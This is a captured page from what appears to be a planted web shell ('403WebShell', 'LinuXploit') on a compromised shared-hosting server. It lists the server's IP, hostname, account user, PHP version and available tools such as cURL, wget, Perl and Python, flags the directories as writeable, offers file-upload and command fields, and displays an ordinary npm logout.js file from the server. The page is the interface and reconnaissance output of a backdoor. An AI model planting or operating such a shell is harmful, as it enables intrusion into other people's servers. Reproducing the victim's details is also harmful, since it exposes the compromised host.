Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 13.58.245.158
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs9/root/lib/node_modules/npm/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-nodejs9/root/lib/node_modules/npm/lib//logout.js
module.exports = logout

var dezalgo = require('dezalgo')
var log = require('npmlog')

var npm = require('./npm.js')
var mapToRegistry = require('./utils/map-to-registry.js')

logout.usage = 'npm logout [--registry=<url>] [--scope=<@scope>]'

function afterLogout (normalized, cb) {
  var scope = npm.config.get('scope')

  if (scope) npm.config.del(scope + ':registry')

  npm.config.clearCredentialsByURI(normalized)
  npm.config.save('user', cb)
}

function logout (args, cb) {
  cb = dezalgo(cb)

  mapToRegistry('/', npm.config, function (err, uri, auth, normalized) {
    if (err) return cb(err)

    if (auth.token) {
      log.verbose('logout', 'clearing session token for', normalized)
      npm.registry.logout(normalized, { auth: auth }, function (err) {
        if (err) return cb(err)

        afterLogout(normalized, cb)
      })
    } else if (auth.username || auth.password) {
      log.verbose('logout', 'clearing user credentials for', normalized)

      afterLogout(normalized, cb)
    } else {
      cb(new Error(
        'Not logged in to', normalized + ',', "so can't log out."
      ))
    }
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit